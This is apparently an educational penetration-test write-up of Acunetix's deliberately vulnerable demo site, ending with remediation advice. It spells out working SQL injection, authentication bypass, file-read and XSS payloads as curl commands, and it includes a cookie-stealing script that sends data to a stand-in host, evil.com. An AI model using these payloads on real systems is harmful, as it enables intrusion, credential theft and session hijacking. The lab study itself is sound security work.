Web App Pentest: Acunetix Vulnerable Site

🎯 Executive Summary

This is a comprehensive penetration test of testphp.vulnweb.com, a deliberately vulnerable PHP web application maintained by Acunetix for security testing and education. If you're learning web security, this is an excellent target — it's designed to be broken.

We discovered 17 distinct vulnerabilities spanning nearly every common web attack category. Here's the severity breakdown:

• 🔴 Critical: 6 findings — SQL injection with full DB extraction, authentication bypass, source code disclosure with credentials, plaintext passwords in cookies
• 🟠 High: 5 findings — Additional SQLi endpoints, reflected and stored XSS
• 🟡 Medium: 4 findings — Open redirect, directory listing, missing security headers, CSRF
• 🔵 Low: 2 findings — Version control remnants, HTTP parameter pollution

If this were a production application, an attacker could achieve complete compromise within minutes. Let's walk through every finding, understand why each vulnerability exists, and learn how to fix them.

⚠️ Legal Note: testphp.vulnweb.com is an intentionally vulnerable application provided by Acunetix for authorized security testing. Never test against systems without explicit written permission.

🔍 Phase 1 — Reconnaissance

Every penetration test starts with understanding what you're attacking. We begin with reconnaissance to map the target's technology stack and attack surface.

Target Fingerprinting

A quick nmap scan and HTTP header analysis reveals everything about the stack:

$ nmap -sC -sV testphp.vulnweb.com

PORT     STATE    SERVICE
21/tcp   filtered ftp
22/tcp   filtered ssh
80/tcp   open     http (nginx 1.19.0)
443/tcp  filtered https
3306/tcp filtered mysql

Only port 80 is open — all other services are behind a firewall. The HTTP response headers leak the full technology stack:

$ curl -sI "http://testphp.vulnweb.com/"

Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Content-Type: text/html; charset=UTF-8

This tells us a lot:

• nginx 1.19.0 — web server version disclosed (an attacker can look up known vulnerabilities)
• PHP 5.6.40 — this version reached End of Life in December 2018, meaning no security patches for over 7 years
• Ubuntu 20.04 — operating system leaked via the PHP version string

Site Map Discovery

By crawling the site and examining links, we map out the full application structure. Every page is a potential attack surface:

/index.php          — Homepage
/listproducts.php   — Product listing (cat parameter)
/artists.php        — Artist listing (artist parameter)
/search.php         — Search form (searchFor parameter)
/login.php          — Login form
/userinfo.php       — User profile
/guestbook.php      — Guestbook
/showimage.php      — Image display (file parameter)
/redir.php          — Redirect handler (r parameter)
/AJAX/infoartist.php — AJAX endpoint (id parameter)
/AJAX/infocateg.php  — AJAX endpoint (id parameter)
/AJAX/infotitle.php  — AJAX endpoint (id parameter)
/admin/             — Directory listing exposed
/CVS/Root           — Version control remnant

Notice how many pages accept user parameters (cat, artist, searchFor, file, r, id). Each one is a candidate for injection testing.

💉 Phase 2 — SQL Injection (8+ Injection Points)

SQL injection is the most dangerous vulnerability class we found. The application has no input sanitization anywhere — every parameter that touches a SQL query is injectable.

VULN-01: UNION-Based SQLi — listproducts.php (🔴 Critical)

The cat parameter is directly concatenated into a SQL query. We can confirm this by injecting a single quote to break the query syntax:

$ curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1'"

The server responds with a raw MySQL error:

Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ''' at line 1

Why is this vulnerable? The PHP code likely looks something like:

$query = "SELECT * FROM products WHERE cat_id = " . $_GET['cat'];

When we send cat=1', the query becomes WHERE cat_id = 1' — the unmatched quote causes a syntax error. The fact that the raw error is displayed to the user makes this trivially exploitable.

Enumerating Columns

For a UNION-based injection, we need to match the column count of the original query. We test with increasing NULLs until the error disappears:

# This fails — wrong column count:
$ curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1+UNION+SELECT+NULL,NULL,NULL--"

# This succeeds — 11 columns in the original query:
$ curl -s "http://testphp.vulnweb.com/listproducts.php?cat=1+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--"

Extracting Database Information

Now we can pull data from any table. The artists.php endpoint is even simpler (only 3 columns), so we'll use that:

# Get MySQL version:
$ curl -s "http://testphp.vulnweb.com/artists.php?artist=-1+UNION+SELECT+1,version(),3--"
# Output: 8.0.22-0ubuntu0.20.04.2

# Get database name:
$ curl -s "http://testphp.vulnweb.com/artists.php?artist=-1+UNION+SELECT+1,database(),3--"
# Output: acuart

# Get all table names:
$ curl -s "http://testphp.vulnweb.com/artists.php?artist=-1+UNION+SELECT+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()--"
# Output: artists,carts,categ,featured,guestbook,pictures,products,users

Extracting User Credentials

The users table contains everything an attacker needs:

$ curl -s "http://testphp.vulnweb.com/artists.php?artist=-1+UNION+SELECT+1,group_concat(uname,0x3a,pass,0x3a,cc,0x3a,email+SEPARATOR+0x3c62723e),3+from+users--"

Result: test:test:1111...:any — username, plaintext password, credit card number, and email. In a real application, this would be a catastrophic data breach.

VULN-03: Authentication Bypass via SQLi (🔴 Critical)

The login form is equally vulnerable. When the application checks credentials, it builds the query like this (confirmed via source code disclosure — see VULN-08):

$qry = "SELECT * FROM users WHERE uname='".$_POST["uname"]."' AND pass='".$_POST["pass"]."'";

By injecting ' OR '1'='1 into both fields, we make the WHERE clause always true:

$ curl -s -X POST "http://testphp.vulnweb.com/userinfo.php" \
  -d "uname=test' OR '1'='1&pass=test' OR '1'='1" -D -

Response:

Set-Cookie: login=test%2Ftest

We're logged in without knowing the password. The injected SQL becomes:

SELECT * FROM users WHERE uname='test' OR '1'='1' AND pass='test' OR '1'='1'

Since '1'='1' is always true, the query returns the first user in the table. This is the textbook authentication bypass attack.

VULN-04: Cookie-Based SQLi (🔴 Critical)

The cookie login stores credentials as username/password and is used directly in SQL queries throughout the app:

# Source code reveals:
$login = explode('/', $_COOKIE["login"]);
$result = mysql_query("SELECT * FROM users WHERE uname='".$login[0]."' AND pass='".$login[1]."'");

An attacker can forge authentication by crafting a cookie:

$ curl -s -b "login=test' OR '1'='1' -- /test" "http://testphp.vulnweb.com/userinfo.php"
# Returns user profile page — authenticated!

Additional SQLi Endpoints

We found SQL injection in 8+ locations across the application:

• Search form (searchFor parameter) — error-based injection
• Profile update — all 5 POST fields inject into an UPDATE query
• AJAX endpoints — infoartist.php, infocateg.php, infotitle.php all accept unsanitized id parameters

# Search injection:
$ curl -s -X POST "http://testphp.vulnweb.com/search.php?test=query" \
  -d "searchFor=test' OR '1'='1&goButton=go"
# Returns all products — boolean injection confirmed

# AJAX injection:
$ curl -s "http://testphp.vulnweb.com/AJAX/infoartist.php?id=1'"
# Error: You have an error in your SQL syntax...

Why so many injection points? The application uses the deprecated mysql_query() function everywhere and never uses prepared statements. Every user input is concatenated directly into SQL strings.

📂 Phase 3 — Local File Inclusion & Source Code Disclosure

VULN-08: LFI via showimage.php (🔴 Critical)

Local File Inclusion is when an application lets you read files from the server that you shouldn't have access to. The showimage.php page is supposed to display product images, but it passes the file parameter directly to PHP's fopen():

# Source code of showimage.php:
$name = $_GET["file"];
if (filter_var($name, FILTER_VALIDATE_URL)) {
    exit();
}
$fp = fopen($name, 'rb');
fpassthru($fp);

The only check is whether the input is a URL — local file paths pass through freely. We can read every PHP file on the server:

# Read the database configuration:
$ curl -s "http://testphp.vulnweb.com/showimage.php?file=database_connect.php"

Output:

<?PHP
$connection = mysql_connect('127.0.0.1', 'acuart', 'trustno1')
    or die('Website is out of order...');
mysql_select_db('acuart', $connection)
    or die('Website is out of order...');
?>

Database credentials exposed: username acuart, password trustno1, host 127.0.0.1. In a real-world scenario, if MySQL were exposed to the network (port 3306 open), an attacker could connect directly to the database.

We successfully read source code for 9 PHP files including the login system, user management, product listings, and the guestbook — confirming every SQL injection vulnerability from the source.

Path Traversal Attempt

While we can read any PHP file in the webroot, open_basedir prevents reading system files:

$ curl -s "http://testphp.vulnweb.com/showimage.php?file=../../../etc/passwd"

Warning: fopen(): open_basedir restriction in effect.
File(../../../etc/passwd) is not within the allowed path(s):
(/hj/:/tmp/:/proc/) in /hj/var/www/showimage.php on line 13

Even this error is an information disclosure — it reveals the webroot is at /hj/var/www/ and the allowed paths include /proc/ (which could leak process information).

🔓 Phase 4 — Cross-Site Scripting (XSS)

XSS allows an attacker to execute JavaScript in another user's browser. This application has both types:

VULN-09: Reflected XSS — Search Form (🟠 High)

Reflected XSS happens when user input is immediately echoed back in the response. The search form displays the search term without encoding it:

$ curl -s -X POST "http://testphp.vulnweb.com/search.php?test=query" \
  -d 'searchFor=<script>alert(1)</script>&goButton=go'

The response contains our script tag, unescaped:

<h2 id='pageName'>searched for: <script>alert(1)</script></h2>

In a browser, this JavaScript would execute. An attacker could craft a link like search.php?searchFor=<script>document.location='http://evil.com/?c='+document.cookie</script> and send it to a victim to steal their session cookies.

VULN-10: Stored XSS — Guestbook (🟠 High)

Stored XSS is far more dangerous because the payload is saved in the database and affects every visitor:

$ curl -s -X POST "http://testphp.vulnweb.com/guestbook.php" \
  -d 'name=tester&text=<script>alert("XSS")</script>&submit=add+message'

The response shows the script stored and rendered:

<img src="/images/remark.gif">&nbsp;&nbsp;<script>alert("XSS")</script>

Why is stored XSS worse? With reflected XSS, the attacker needs to trick someone into clicking a link. With stored XSS, every visitor to the guestbook page is automatically attacked. An attacker could inject a keylogger, cryptocurrency miner, or credential stealer that persists indefinitely.

Prevention: All user output must be encoded with htmlspecialchars() in PHP. Input should also be validated — a guestbook entry should never contain HTML tags.

🔀 Phase 5 — Open Redirect & Other Findings

VULN-11: Open Redirect (🟡 Medium)

An open redirect lets an attacker abuse a trusted domain's redirect functionality for phishing. The redir.php page takes a URL and redirects to it blindly:

# Source code:
$redir = str_replace(array("\r", "\n"), " ", $_GET['r']);
header("Location: ".$_GET['r']);
exit;

Notice the bug: CRLF characters are stripped from $redir, but the original $_GET['r'] is used in the header — the sanitization is applied to the wrong variable!

$ curl -sI "http://testphp.vulnweb.com/redir.php?r=http://evil.com"

HTTP/1.1 302 Moved Temporarily
Location: http://evil.com

An attacker could send a victim http://testphp.vulnweb.com/redir.php?r=http://evil-phishing-site.com. The link looks like it goes to the trusted domain, but it redirects to the attacker's site.

VULN-12: Database Schema Exposure (🟡 Medium)

The /admin/ directory has directory listing enabled, exposing the database creation script:

$ curl -s "http://testphp.vulnweb.com/admin/create.sql"

CREATE TABLE IF NOT EXISTS artists(
    artist_id INTEGER(5) PRIMARY KEY AUTO_INCREMENT,
    aname CHAR(50), adesc BLOB);

CREATE TABLE IF NOT EXISTS users(...);

An attacker uses this to understand table structures, making SQL injection payloads more targeted.

VULN-13: Plaintext Credentials in Cookies (🔴 Critical)

This is one of the most egregious findings. Upon login, the application stores the username and plaintext password in a cookie:

Set-Cookie: login=test%2Ftest

This decodes to test/test (username/password). The cookie has:

• No Secure flag — sent over unencrypted HTTP, visible to network sniffers
• No HttpOnly flag — JavaScript can read it (so XSS directly steals passwords)
• No expiry — persists as a session cookie
• No encryption — raw credentials in cleartext

Combined with the XSS vulnerabilities, an attacker can steal not just sessions but actual passwords.

VULN-15: Missing Security Headers (🟡 Medium)

The application lacks every standard security header:

• X-Frame-Options — missing → vulnerable to clickjacking
• Content-Security-Policy — missing → no XSS mitigation from the browser
• Strict-Transport-Security — missing → no HTTPS enforcement
• X-Content-Type-Options — missing → MIME sniffing attacks possible
• Referrer-Policy — missing → URLs leak in referrer headers

VULN-17: Cross-Site Request Forgery (🟡 Medium)

The profile update form has no CSRF protection. An attacker could create a page that silently updates a victim's profile:

<form action="http://testphp.vulnweb.com/userinfo.php" method="POST">
  <input type="hidden" name="urname" value="HACKED">
  <input type="hidden" name="ucc" value="4111111111111111">
  <input type="hidden" name="uemail" value="[email protected]">
  <input type="hidden" name="update" value="update">
</form>
<script>document.forms[0].submit();</script>

If a logged-in user visits this page, their credit card and email are changed without any confirmation.

⛓️ Attack Chain — Full Compromise in 5 Minutes

The real power of these findings is how they chain together. An attacker could achieve complete compromise in minutes:

1. Discover the site structure → find /admin/create.sql with the database schema
2. Read source code via showimage.php?file=database_connect.php → get DB credentials (acuart:trustno1)
3. Bypass authentication via SQLi: uname=' OR '1'='1'--
4. Extract all data via UNION SQLi → usernames, passwords, credit cards
5. Plant persistent XSS in the guestbook → steal every visitor's cookies (which contain plaintext passwords)
6. Phish users via the open redirect → redir.php?r=http://phishing-site.com

🛡️ Remediation Recommendations

Critical Fixes

1. Use prepared statements everywhere — Replace all mysql_query() with PDO or MySQLi prepared statements. This is the single most impactful fix.
2. Implement proper sessions — Use PHP's session_start() with server-side session storage. Never put passwords in cookies.
3. Remove or restrict showimage.php — Whitelist allowed filenames. Never pass user input to fopen().
4. Upgrade PHP — PHP 5.6 has been EOL since 2018. Upgrade to PHP 8.x.

High Priority Fixes

5. HTML-encode all output — Use htmlspecialchars($input, ENT_QUOTES, 'UTF-8') on every user-controlled value.
6. Add CSRF tokens to all state-changing forms.
7. Validate redirect URLs — Whitelist allowed domains in redir.php.
8. Disable directory listing in nginx config and remove /admin/create.sql.

Additional Hardening

9. Add security headers — CSP, X-Frame-Options, HSTS, X-Content-Type-Options.
10. Hash passwords with password_hash() (bcrypt) — never store plaintext.
11. Remove version disclosures from Server and X-Powered-By headers.
12. Remove CVS remnants and any version control artifacts from the webroot.

📚 All SQL Injection Points Summary

For reference, here's every SQL injection point we found:

• /listproducts.php?cat= — GET, UNION-based (11 columns)
• /artists.php?artist= — GET, UNION-based (3 columns)
• /userinfo.php — POST (uname, pass), authentication bypass
• /userinfo.php — POST (urname, ucc, uaddress, uemail, uphone), UPDATE injection
• /search.php — POST (searchFor), error-based
• /AJAX/infoartist.php?id= — GET, error-based
• /AJAX/infocateg.php?id= — GET, error-based
• /AJAX/infotitle.php — POST (id), error-based
• Cookie login — username/password fields, authentication bypass

🎓 What I Learned

• One root cause, many vulnerabilities. Nearly all 17 findings trace back to a single pattern: user input trusted without validation. Every $_GET, $_POST, and $_COOKIE value flows directly into sensitive operations (SQL queries, HTML output, file operations, HTTP headers).
• Source code disclosure is a force multiplier. The LFI in showimage.php let us read every PHP file, confirming every SQLi point from the code itself. In a real pentest, this kind of finding turns guesswork into surgical precision.
• UNION injection is methodical. The process is always: (1) confirm injection with a quote, (2) enumerate column count with UNION SELECT NULL, (3) find reflected columns, (4) extract data from information_schema, (5) dump target tables.
• Cookies are attack surface. Most people think of cookies as "just session data," but if the application uses cookie values in SQL queries or stores sensitive data in them, they become a critical vulnerability.
• Defense in depth matters. Even though open_basedir prevented reading /etc/passwd, it still allowed reading all PHP files in the webroot — including database credentials. One control is never enough.
• Vulnerability chaining is key. Individual findings become exponentially more dangerous when combined: LFI → source code → confirmed SQLi → credentials → auth bypass → stored XSS → persistent compromise.

🛠 Tools Used

• nmap — Port scanning and service detection
• curl — HTTP requests, form submissions, header analysis
• Manual analysis — Source code review, parameter fuzzing, SQL injection crafting